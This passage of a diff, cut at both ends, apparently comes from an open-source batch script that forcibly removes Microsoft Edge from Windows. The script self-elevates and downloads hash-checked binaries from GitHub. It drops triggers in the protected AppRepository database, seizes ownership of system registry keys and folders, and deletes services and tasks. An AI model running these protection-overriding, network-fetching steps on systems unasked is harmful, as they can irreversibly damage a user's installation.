"skip=2 tokens=2*" %%c in ('reg query "%REG_USERS_PATH%\%1" /v ProfileImagePath') do ( set "profile_path=%%~d" ) -call :user_lnks_remove_by_path "%profile_path%" -call :user_reg_cleanup %1 "%profile_path%" - -:_user_cleanup_by_sid.end -echo [user_cleanup_by_sid().end] %cll_dbg% -exit /b 0 - -REM remove shortcuts from several locations of user profile -:user_lnks_remove_by_path -echo [user_lnks_remove_by_path()] "%~1" %cll_dbg% -del /f /q "%~1\Desktop\edge.lnk" -del /f /q "%~1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\edge.lnk" -del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\edge.lnk" -del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\edge.lnk" -del /f /q "%~1\Desktop\Microsoft Edge.lnk" -del /f /q "%~1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk" -del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Microsoft Edge.lnk" -del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Microsoft Edge.lnk" - -echo [user_lnks_remove_by_path().end] %cll_dbg% -exit /b 0 - -REM remove some registry keys -REM arguments: user SID and user profile dir path in this exact order -:user_reg_cleanup -echo [user_reg_cleanup()] %cll_dbg% -echo SID: "%1" %cll_dbg% -echo path: "%~2" %cll_dbg% - -echo prepare main hive %cll_dbg% -reg query "HKU\%1" /ve -if %errorlevel% neq 0 reg load "HKU\%1" "%~2\NTUSER.DAT" -if %errorlevel% neq 0 echo main hive load fail %cll_dbg% & goto _user_reg_cleanup.sft.done -echo main hive ready %cll_dbg% - -echo cleanup main hive %cll_dbg% -reg delete "HKU\%1\SOFTWARE\Microsoft\Edge" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\EdgeUpdate" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\MicrosoftEdge" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\Internet Explorer\EdgeDebugActivation" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\Internet Explorer\EdgeIntegration" /f -reg delete "HKU\%1\SOFTWARE\WOW6432Node\Microsoft\Edge" /f -reg delete "HKU\%1\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate" /f -reg delete "HKU\%1\SOFTWARE\WOW6432Node\Microsoft\MicrosoftEdge" /f - -reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\microsoft-edge" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\microsoft-edge-holographic" /f - -REM for current user require explorer restart -reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Taskband" /v "FavoritesRemovedChanges" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Taskband" /v "FavoritesVersion" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Taskband" /v "FavoritesChanges" /f - -:_user_reg_cleanup.sft.done -echo [user_reg_cleanup().sft.done] %cll_dbg% - -REM see Both.bat for details -echo probing "SOFTWARE\Classes" %cll_dbg% -set "cls_path=%1\SOFTWARE\Classes" -reg query "HKU\%cls_path%" /ve -if %errorlevel% equ 0 goto _user_reg_cleanup.cls.ready - -echo prepare classes hive %cll_dbg% -set "cls_path=%1_Classes" -reg query "HKU\%cls_path%" /ve -REM location of user classes hive can be altered by user -if %errorlevel% neq 0 reg load "HKU\%cls_path%" "%~2\AppData\Local\Microsoft\Windows\UsrClass.dat" -if %errorlevel% neq 0 echo classes hive load fail %cll_dbg% & goto _user_reg_cleanup.cls.done - -:_user_reg_cleanup.cls.ready -echo classes hive ready %cll_dbg% - -echo cleanup classes hive %cll_dbg% -reg delete "HKU\%cls_path%\microsoft-edge" /f -reg delete "HKU\%cls_path%\microsoft-edge-holographic" /f - -:_user_reg_cleanup.cls.done -echo [user_reg_cleanup().cls.done] %cll_dbg% - -echo [user_reg_cleanup().end] %cll_dbg% -exit /b 0 - - - -REM ===== PowerShell(psl) based complex functions ===== -REM see Both.bat for details - - -REM get access and delete registry keys in HKLM hive -REM keys for TakeOwn+FullControl ONLY should be in reg_HKLM_keys_acs var -REM keys that also should be deleted - in reg_HKLM_keys_del var -REM DO NOT pass keys with values at tail -REM TakeOwn+FullControl operation may fails, but removing attempt will be made anyway -:reg_HKLM_keys_access_and_delete -echo [reg_HKLM_keys_access_and_delete()] %cll_dbg% -if defined reg_HKLM_keys_acs goto _reg_HKLM_keys_access_and_delete.psl -if not defined reg_HKLM_keys_del goto _reg_HKLM_keys_access_and_delete.end -:_reg_HKLM_keys_access_and_delete.psl -echo [reg_HKLM_keys_access_and_delete().psl] %cll_dbg% -echo ;^ -if ($env:reg_HKLM_keys_acs) { $key_paths_acs = $env:reg_HKLM_keys_acs.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ -if ($env:reg_HKLM_keys_del) { $key_paths_del = $env:reg_HKLM_keys_del.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ -$key_paths_acs += $key_paths_del;^ -if (!$key_paths_acs) { exit }^ -$user_ident = [System.Security.Principal.NTAccount]$env:UserName;^ -$access_rule = [System.Security.AccessControl.RegistryAccessRule]::new($user_ident, 0xF003F, 3, 0, 0);^ -$hive_HKLM = [Microsoft.Win32.Registry]::LocalMachine;^ -$ntdll = Add-Type -Member '[DllImport("ntdll.dll")] public static extern int RtlAdjustPrivilege(uint p, bool e, bool t, ref bool l);' -Name NtDll -PassThru;^ -$lp = 0; $tgl_rslt = $ntdll::RtlAdjustPrivilege(9, 1, 0, [ref]$lp);^ -;^ -if ($tgl_rslt -eq 0) {^ - "accessing"%psl_dbg%;^ - foreach ($key_path in $key_paths_acs) {^ - $key_path%psl_dbg%;^ - $key_obj = $hive_HKLM.OpenSubKey($key_path, 2, 0x80000);^ - if (!$key_obj) { "key not found"%psl_dbg%; continue };^ - ^ - ($acl = $key_obj.GetAccessControl()).SetOwner($user_ident);^ - $key_obj.SetAccessControl($acl);^ - $acl.AddAccessRule($access_rule);^ - $key_obj.SetAccessControl($acl);^ - $key_obj.Close();^ - }^ - $ntdll::RtlAdjustPrivilege(9, $lp, 0, [ref]$lp);^ -} else { "TakeOwnership enabling failed (0x{0:x8}); attempt to remove anyway" -f $tgl_rslt%psl_dbg% }^ -;"removing"%psl_dbg%;^ -foreach ($key_path in $key_paths_del) { $key_path%psl_dbg%; $hive_HKLM.DeleteSubKeyTree($key_path) }^ -;| powershell -noprofile - - -:_reg_HKLM_keys_access_and_delete.end -echo [reg_HKLM_keys_access_and_delete().end] %cll_dbg% -exit /b 0 - - -REM unlock and delete all packages from the list -REM list should be in pkgs_list var -REM System.Data.SQLite.dll should be ready to use -:appx_unlock_and_delete -echo [appx_unlock_and_delete()] %cll_dbg% -if not defined pkgs_list goto _appx_unlock_and_delete.end -:_appx_unlock_and_delete.psl -echo [appx_unlock_and_delete().psl] %cll_dbg% -echo function main() {^ - $pkgs = $env:pkgs_list.Split(' ', [StringSplitOptions]::RemoveEmptyEntries);^ - if ($pkgs.Count -eq 0) { "empty packages list"%psl_dbg%; return }^ - $locked_pkgs, $pkgs = $pkgs.Where({$_[0] -eq '1'}, 'Split');^ - $locked_pkgs = $locked_pkgs.ForEach({$_.Substring(1)});^ - $pkgs = $pkgs.ForEach({$_.Substring(1)});^ - ^ - if ($env:reg_SFT_paths_scn) { $reg_sft_paths_scn = $env:reg_SFT_paths_scn.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ - if ($env:reg_CLS_paths_scn) { $reg_cls_paths_scn = $env:reg_CLS_paths_scn.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ - if ($reg_sft_paths_scn -or $reg_cls_paths_scn) {^ - $usids_exclude = @('S-1-5-18', 'S-1-5-19', 'S-1-5-20');^ - $reg_usrs_hives = (reg query "$env:REG_USERS_PATH" /k /f "*").ForEach({$_.Substring($_.LastIndexOf('\')+1)}).Where({$_.StartsWith('S-1-') -and -not $usids_exclude.Contains($_)});^ - $reg_sft_hives = ($reg_usrs_hives.ForEach({"HKU\$_\SOFTWARE\"})) + @('HKU\.DEFAULT\SOFTWARE\', 'HKLM\SOFTWARE\');^ - $reg_cls_hives = ($reg_usrs_hives.ForEach({"HKU\$_`_Classes\"})) + @('HKU\.DEFAULT\SOFTWARE\Classes\', 'HKLM\SOFTWARE\Classes\');^ - }^ - ^ - if ($locked_pkgs.Count -gt 0) {^ - Add-Type -Path $env:file_SQLite;^ - $attempts = 3; $rslt = $false;^ - while ($attempts) { --$attempts; Unlock-Packages $locked_pkgs ([ref]$rslt); if ($rslt) { break }; Start-Sleep 3 }^ - if ($rslt) { $pkgs += $locked_pkgs } else { "package(s) still locked, exclude:`n" + ($locked_pkgs -join "`n")%psl_dbg% }^ - }^ - ^ - "removing"%psl_dbg%;^ - foreach ($pkg in $pkgs) {^ - "package: $pkg`nremove"%psl_dbg%;^ - Remove-AppxPackage -Package $pkg -User $env:USER_SID;^ - Remove-AppxPackage -Package $pkg -AllUsers;^ - ^ - $pkg_parts = $pkg.Split('_');^ - foreach ($reg_sft_hive in $reg_sft_hives) { reg delete "$reg_sft_hive`Microsoft\UserData\UninstallTimes" /v "$($pkg_parts[0])_$($pkg_parts[4])" /f }^ - RegCleanup-Package($pkg_parts);^ - $edge_chnl_pos = $pkg_parts[0].IndexOf('.MicrosoftEdge.');^ - if ($edge_chnl_pos -ge 0) {^ - "cleanup of base package"%psl_dbg%;^ - $pkg_parts[0] = $pkg_parts[0].Substring(0, $edge_chnl_pos + 14);^ - RegCleanup-Package $pkg_parts;^ - }^ - ^ - "deprovision"%psl_dbg%;^ - reg add "$env:REG_APPX_STORE\EndOfLife\$env:USER_SID\$pkg" /f;^ - reg add "$env:REG_APPX_STORE\EndOfLife\S-1-5-18\$pkg" /f;^ - reg add "$env:REG_APPX_STORE\Deprovisioned\$pkg" /f;^ - ^ - "package removed"%psl_dbg%;^ - }^ -}^ -function Unlock-Packages($pkgs, [ref]$rslt) {^ - "[Unlock-Packages()]`nstopping services"%psl_dbg%;^ - $rslt.Value = $false;^ - Stop-Service StateRepository -Force;^ - ^ - "acessing db files"%psl_dbg%;^ - takeown /f "$env:LOC_APPREPO_DB";^ - takeown /f "$env:LOC_APPREPO_DB`-shm";^ - takeown /f "$env:LOC_APPREPO_DB`-wal";^ - icacls "$env:LOC_APPREPO_DB*" /grant "$env:UserName`:F" /c;^ - ^ - "unlocking"%psl_dbg%;^ - $con = [System.Data.SQLite.SQLiteConnection]::new("Data Source=$env:LOC_APPREPO_DB");^ - $con.Open();^ - $cmd = $con.CreateCommand();^ - $cmd.CommandText = "SELECT name,sql FROM sqlite_master WHERE type='trigger' AND tbl_name='Package' AND name LIKE'%%AFTER%%' AND name LIKE'%%UPDATE%%'";^ - $res = $cmd.ExecuteReader();^ - $trgs = @{};^ - while ($res.Read()) { $trgs[$res.GetString(0)] = $res.GetString(1) } $res.Close();^ - ^ - try {^ - foreach ($trg_name in $trgs.Keys) { $cmd.CommandText = "DROP TRIGGER $trg_name"; $cmd.ExecuteNonQuery() }^ - foreach ($pkg in $pkgs) {^ - "package: $pkg"%psl_dbg%;^ - $cmd.CommandText = "UPDATE Package SET IsInbox=0 WHERE PackageFullName='$pkg'"; $cmd.ExecuteNonQuery();^ - reg delete "$env:REG_APPX_STORE\InboxApplications\$pkg" /f;^ - }^ - foreach ($trg_query in $trgs.Values) { $cmd.CommandText = $trg_query; $cmd.ExecuteNonQuery() }^ - "unlocked"%psl_dbg%;^ - $rslt.Value = $true^ - }^ - catch { $_%psl_dbg%; "unlocking failed"%psl_dbg% }^ - ^ - $con.Close();^ - "[Unlock-Packages().end]"%psl_dbg%^ -}^ -function RegCleanup-Package($pkg_fname_parts) {^ - "[RegCleanup-Package()]`nregistry scan"%psl_dbg%;^ - $pkg_name = $pkg_fname_parts[0] + '_';^ - $pkg_pid = '_' + $pkg_fname_parts[4];^ - $reg_pkg_keys = @();^ - foreach ($reg_sft_hive in $reg_sft_hives) {^ - foreach ($reg_sft_path in $reg_sft_paths_scn) {^ - $reg_pkg_keys += (reg query "$reg_sft_hive$reg_sft_path" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ - }^ - }^ - foreach ($reg_cls_hive in $reg_cls_hives) {^ - foreach ($reg_cls_path in $reg_cls_paths_scn) {^ - $reg_pkg_keys += (reg query "$reg_cls_hive$reg_cls_path" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ - }^ - }^ - $reg_pkg_keys += (reg query "$env:REG_APPX_STORE" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ - $reg_pkg_keys += (reg query "$env:REG32_APPX_STORE" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ - ^ - "registry cleanup"%psl_dbg%;^ - foreach ($reg_pkg_key in $reg_pkg_keys) { $reg_pkg_key%psl_dbg%; reg delete $reg_pkg_key /f }^ - "[RegCleanup-Package().end]"%psl_dbg%;^ -}^ -main;^ -;| powershell -noprofile - - -:_appx_unlock_and_delete.end -echo [appx_unlock_and_delete().end] %cll_dbg% -exit /b 0 +@echo off & setlocal +REM land "clever" users back to native env (Win Vista and up; start /b not used due to some oddities) +if defined PROCESSOR_ARCHITEW6432 "%WinDir%\SysNative\cmd.exe" /c ""%~0" %*" & exit /b 0 + +REM +REM Check permissions and elevate if required +REM Obtain required files (from cache or from repo with hash validation) +REM Remove Edge +REM Remove AppX +REM Remove Edge remains +REM Remove AppX remains +REM Remove Extras +REM + +set "ISSUE_GENERIC=1" +set "ISSUE_UAC=2" +set "ISSUE_NETWORK=3" +set "ISSUE_DOWNLOAD=4" +set "ISSUE_HASH=5" +set "ISSUE_ARCH=6" + +REM check for architecture (x86 and amd64 are supported, arm - not) +if /i "%PROCESSOR_ARCHITECTURE%" equ "amd64" goto arch.pass +if /i "%PROCESSOR_ARCHITECTURE%" equ "x86" goto arch.pass +echo "%PROCESSOR_ARCHITECTURE%" platform is unsupported & echo. & pause & exit /b %ISSUE_ARCH% +:arch.pass + +set "SCRIPT_VERSION=11/26/2025" +REM set logging verbosity ( log_lvl.none, log_lvl.errors, log_lvl.debug ) +REM also see Both.bat for details +call :log_lvl.debug "%~1" + +title Edge Remover - %SCRIPT_VERSION% +echo [main_script.start] %bat_dbg% + + + +echo [uac()] %bat_dbg% +REM Get executor SID (Win 2003(XP x64) and up) +for /f "skip=1 tokens=1,2 delims=," %%a in ('whoami /user /fo csv') do set "EXEC_SID=%%~b" +REM When script elevates itself, the user SID should be passed as 1st argument (bad input here is not my fault) +set "USER_SID=%~1" +REM Check Admin permissions +net session >NUL 2>&1 +echo err: %errorlevel%; EXEC_SID: "%EXEC_SID%"; USER_SID: "%USER_SID%" %bat_dbg% +if %errorlevel% equ 0 goto uac.success +REM When UAC disabled, elevation not works and SID never changes +if /i "%EXEC_SID%" equ "%USER_SID%" ( + echo Please, enable UAC and try again & echo. & pause & exit /b %ISSUE_UAC% +) +REM When 1st arg looks like valid NT_AUTHORITY SID, assume elevation by script (prevent infinite loop aka UAC bombing) +if /i "%USER_SID:~0,6%" equ "S-1-5-" ( + REM DO NOT put on the same line as condition: using another var after substring when its source is empty leads to hard fail + echo Built-in Admin account possibly corrupted & echo. & pause & exit /b %ISSUE_UAC% +) +REM Elevate with psl (don't try go around cmd /c; see Both.bat for quotes details) +echo Start-Process -Verb RunAs """$env:COMSpec""" "%ecm% """"%~0"" ""%EXEC_SID%"""""|powershell -noprofile - %bat_log% +echo [uac().elevated] err: "%errorlevel%" %bat_dbg% +exit /b %errorlevel% + +REM Admin permissions granted, executor SID may be a SID of Built-in Admin account if it's enabled +:uac.success +echo [uac().success] %bat_dbg% +REM 1st arg looks like valid rev.1 SID (assume elevation by script) +if /i "%USER_SID:~0,4%" equ "S-1-" goto uac.done +REM 1st arg does not look like valid SID (elevation NOT by script) +set "USER_SID=%EXEC_SID%" +REM When Built-in Admin account disabled, SID does not change on elevation and usually match the condition +if "%EXEC_SID:~-4%" neq "-500" goto uac.done +REM For automaters: when Built-in Admin account enabled, specify "-auto" as 1st argument to bypass confirmation +if /i "%~1" equ "-auto" goto uac.done +REM Built-in Admin account enabled and script not self elevated nor automated +choice /c yn /n /m "Logged as Admin? [Y,N]" +REM Check for positive answer, anything else considered as No +echo answer: %errorlevel% %bat_dbg% +if %errorlevel% equ 1 goto uac.done +echo Please, run script without elevation & echo. & pause & exit /b %ISSUE_UAC% + +:uac.done +echo [uac().done] %bat_dbg% + + + +set "has_net=0" +ipconfig | find "IPv" >NUL 2>&1 +if %errorlevel% equ 0 set "has_net=1" +echo has network: %has_net% %bat_dbg% + +REM prepare architecture-depend stuff (see Both.bat for details) +echo - Obtaining required files +echo [prepare()] %bat_dbg% +goto prepare.%PROCESSOR_ARCHITECTURE% + + +:prepare.amd64 +echo [prepare().amd64] %bat_dbg% + +set "x86ProgramsFolder=%ProgramFiles(x86)%" + +call :file_obtain^ + "setup.x64.exe"^ + "0950336e0d633eb645e0cf66780d2102a182caa184264d4f62146fe229f636e7"^ + "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/setup.x64.exe"^ + "file_setup_loc"^ + %bat_log% +if %errorlevel% neq 0 echo Cannot obtain "setup.exe" (%errorinfo%) & echo. & pause & exit /b %errorlevel% + +call :file_obtain^ + "System.Data.SQLite.x64.dll"^ + "1b3742c5bd1b3051ae396c6e62d1037565ca0cbbedb35b460f7d10a70c30376f"^ + "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/System.Data.SQLite.x64.dll"^ + "file_SQLite_loc"^ + %bat_log% +if %errorlevel% neq 0 echo Cannot obtain "System.Data.SQLite.dll" (%errorinfo%) & echo. & pause & exit /b %errorlevel% + +set "file_setup=%file_setup_loc:.x64.=.%" +set "file_SQLite=%file_SQLite_loc:.x64.=.%" + +goto prepare.end + + +:prepare.x86 +echo [prepare().x86] %bat_dbg% + +set "x86ProgramsFolder=%ProgramFiles%" + +REM Thanks to @Ameterius for the 32bit setup.exe +call :file_obtain^ + "setup.x86.exe"^ + "97935c67fe17c388cff6c498b565130f9262ea9518150303fff08576c67cfd9d"^ + "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/setup.x86.exe"^ + "file_setup_loc"^ + %bat_log% +if %errorlevel% neq 0 echo Cannot obtain "setup.exe" (%errorinfo%) & echo. & pause & exit /b %errorlevel% + +call :file_obtain^ + "System.Data.SQLite.x86.dll"^ + "845f7cbae72cf0a09a7f8740029ea9a15cb3a51c0b883b67b6ff1fc15fb26729"^ + "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/System.Data.SQLite.x86.dll"^ + "file_SQLite_loc"^ + %bat_log% +if %errorlevel% neq 0 echo Cannot obtain "System.Data.SQLite.dll" (%errorinfo%) & echo. & pause & exit /b %errorlevel% + +set "file_setup=%file_setup_loc:.x86.=.%" +set "file_SQLite=%file_SQLite_loc:.x86.=.%" + +goto prepare.end + +:prepare.end +echo [prepare().end] %bat_dbg% +REM create hardlinks +del /f /q "%file_setup%" %bat_log% +del /f /q "%file_SQLite%" %bat_log% +fsutil hardlink create "%file_setup%" "%file_setup_loc%" %bat_log% +fsutil hardlink create "%file_SQLite%" "%file_SQLite_loc%" %bat_log% + +echo x86ProgramsFolder: %x86ProgramsFolder% %bat_dbg% +echo [prepare().done] %bat_dbg% + + + +REM query packages by pattern before Edge uninstalling +echo query packages %bat_dbg% +set "pkgs_pattern=*microsoftedge*" +for /f "delims=" %%p in ('powershell -noprofile -c "$pkgs='';foreach($pkg in (Get-AppxPackage -AllUsers).Where({$_.PackageFullName -like $env:pkgs_pattern})){$pkgs+=' '+[int]$pkg.NonRemovable+$pkg.PackageFullName}$pkgs.Trim()"') do ( + set "pkgs_list=%%~p" +) +echo "%pkgs_list%" %bat_dbg% +echo packages queried %bat_dbg% + + + +%stp_dbg_rst% + + + +REM #Uninstall +echo [uninstall()] %bat_dbg% +echo - Removing Edge +echo [uninstall().edge.init] %bat_dbg% +where "%x86ProgramsFolder%\Microsoft\Edge\Application:*" %bat_log% +if %errorlevel% neq 0 goto uninstall.edge.done + +echo [uninstall().edge] %bat_dbg% +taskkill /im MicrosoftEdgeUpdate.exe /f /t %bat_log% +start /w "" "%file_setup%" --uninstall --system-level --force-uninstall %stp_dbg_arg% %bat_log% +%stp_dbg_get% + +:uninstall.edge.done +echo [uninstall().edge.done] %bat_dbg% + + +echo - Removing AppX +echo [uninstall().appx.init] %bat_dbg% +set "LOC_APPREPO_DB=%AllUsersProfile%\Microsoft\Windows\AppRepository\StateRepository-Machine.srd" +set "REG_USERS_PATH=HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" +set "REG_APPX_STORE=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" +set "REG32_APPX_STORE=HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" + +set "reg_SFT_paths_scn=" +set "reg_CLS_paths_scn=" +REM Registry locations for scan and remove appx keys, max length after batch vars expanding - 8167(8191 - 24; 24 - "set "reg_???_paths_scn="") +REM delimiter is \\, scan is recursive (see Both.bat for details) + +REM reg_SFT_paths_scn - is only for keys located under HIVE\SOFTWARE key +REM HIVE\SOFTWARE\ part should be excluded from path +echo [uninstall().appx.init.reg_SFT] %bat_dbg% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\SecurityManager\CapAuthz\ApplicationsEx" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\AppHost\IndexedDB" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\PushNotifications\Backup" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\Capabilities" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows NT\CurrentVersion\BackgroundModel\PreInstallTasks\RequireReschedule" %bat_log% +REM reg_CLS_paths_scn - is only for keys located under HIVE\SOFTWARE\Classes key +REM HIVE\SOFTWARE\Classes\ part should be excluded from path +echo [uninstall().appx.init.reg_CLS] %bat_dbg% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\ActivatableClasses\Package" %bat_log% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Extensions\ContractId" %bat_log% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\MrtCache" %bat_log% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PolicyCache" %bat_log% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData" %bat_log% + +echo [uninstall().appx] %bat_dbg% +call :appx_unlock_and_delete %bat_log% + +echo [uninstall().appx.done] %bat_dbg% + +echo [uninstall().end] %bat_dbg% + + + +REM #Cleanup +echo [cleanup()] %bat_dbg% +echo - Cleaning Edge remains +echo [cleanup().edge] %bat_dbg% + +REM Delete Edge empty folders +echo [cleanup().edge.dirs] %bat_dbg% +rd /s /q "%x86ProgramsFolder%\Microsoft\Edge" %bat_log% +call :edgecore_cleanup %bat_log% +rd /s /q "%x86ProgramsFolder%\Microsoft\EdgeUpdate" %bat_log% +rd /s /q "%x86ProgramsFolder%\Microsoft\Temp" %bat_log% +rd /s /q "%AllUsersProfile%\Microsoft\EdgeUpdate" %bat_log% + +REM Delete Edge Update Tasks +echo [cleanup().edge.tasks] %bat_dbg% +for /f "tokens=1 delims=," %%n in ('schtasks /query /fo csv') do ( call :task_remove "%%~n" %bat_log% ) + +REM Delete Edge Update Services +echo [cleanup().edge.services] %bat_dbg% +set "service_names=edgeupdate edgeupdatem microsoftedgeelevationservice" +for %%n in (%service_names%) do ( call :service_remove "%%~n" %bat_log% ) + +REM Delete Desktop, StartMenu and TaskBar shortcuts; cleanup user registry +echo [cleanup().edge.users] %bat_dbg% +for /f "skip=2 tokens=2*" %%c in ('reg query "%REG_USERS_PATH%" /v Public') do ( call :user_lnks_remove_by_path "%%~d" %bat_log% ) +del /f /q "%AllUsersProfile%\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk" %bat_log% +for /f "skip=2 tokens=2*" %%c in ('reg query "%REG_USERS_PATH%" /v Default') do ( + call :user_lnks_remove_by_path "%%~d" %bat_log% + call :user_reg_cleanup .DEFAULT "%%~d" %bat_log% +) +for /f "skip=1 tokens=7 delims=\" %%k in ('reg query "%REG_USERS_PATH%" /k /f "*"') do ( call :user_cleanup_by_sid %%k %bat_log% ) + +echo [cleanup().edge.done] %bat_dbg% + + +echo - Cleaning AppX remains +echo [cleanup().appx] %bat_dbg% +REM Delete remained packages +REM %SystemRoot%\SystemApps\Microsoft.MicrosoftEdge* +echo [cleanup().appx.SystemApps] %bat_dbg% +for /d %%d in ("%SystemRoot%\SystemApps\Microsoft.MicrosoftEdge*") do ( + echo dir: "%%~d" %bat_dbg% + takeown /f "%%~d" /r /d y %bat_dbg% + icacls "%%~d" /grant "%UserName%:F" /t /c %bat_dbg% + rd /s /q "%%~d" %bat_log% +) +REM %ProgramFiles%\WindowsApps\Microsoft.MicrosoftEdge* +echo [cleanup().appx.WindowsApps] %bat_dbg% +for /d %%d in ("%ProgramFiles%\WindowsApps\Microsoft.MicrosoftEdge*") do ( + echo dir: "%%~d" %bat_dbg% + takeown /f "%%~d" /r /d y %bat_dbg% + icacls "%%~d" /grant "%UserName%:F" /t /c %bat_dbg% + rd /s /q "%%~d" %bat_log% +) + +echo [cleanup().appx.done] %bat_dbg% + +echo [cleanup().end] %bat_dbg% + + + +REM #Additional Data +echo - Removing additional data +echo [extra_cleanup()] %bat_dbg% +REM Registry +echo [extra_cleanup().registry.regular] %bat_dbg% + +REM -- Backup keys that are need for :edgecore_cleanup +set "wv2_guid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}" +reg export "HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\%wv2_guid%" "%TEMP%\wv2_wow.reg" /y %bat_log% +reg export "HKLM\SOFTWARE\Microsoft\EdgeUpdate\Clients\%wv2_guid%" "%TEMP%\wv2_native.reg" /y %bat_log% + +reg delete "HKLM\SOFTWARE\Classes\AppID\MicrosoftEdgeUpdate.exe" /f %bat_log% +reg delete "HKLM\SOFTWARE\Classes\AppID\{1FCBE96C-1697-43AF-9140-2897C7C69767}" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{9459C573-B17A-45AE-9F64-1857B5D58CEE}" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\Edge" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\EdgeUpdate" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\MicrosoftEdge" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\Internet Explorer\EdgeDebugActivation" /f %bat_log% +reg delete "HKLM\SOFTWARE\Microsoft\Internet Explorer\EdgeIntegration" /f %bat_log% +reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Edge" /f %bat_log% +reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate" /f %bat_log% +reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\MicrosoftEdge" /f %bat_log% + +set "reg_HKLM_keys_del=" +REM Keys for TakeOwn+FullControl and deleting, max length after batch vars expanding - 8167(8191 - 24; 24 - "set "reg_HKLM_keys_del="") +REM delimiter is \\ (see Both.bat for details) +echo [extra_cleanup().registry.inaccessible.init] %bat_dbg% +set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\Windows\CurrentVersion\MicrosoftEdge" %bat_log% +set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\MicrosoftEdge" %bat_log% +set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\WindowsRuntime\Server\Windows.Internal.WebRuntime.BCHostServer" %bat_log% +set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\WindowsRuntime\Server\Windows.Internal.WebRuntime.ContentProcessServer" %bat_log% +set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\WindowsRuntime\Server\Windows.Internal.WebRuntime.F12Server" %bat_log% + +REM -- Restore above keys :edgecore_cleanup +if exist "%TEMP%\wv2_wow.reg" reg import "%TEMP%\wv2_wow.reg" %bat_log% & del /f 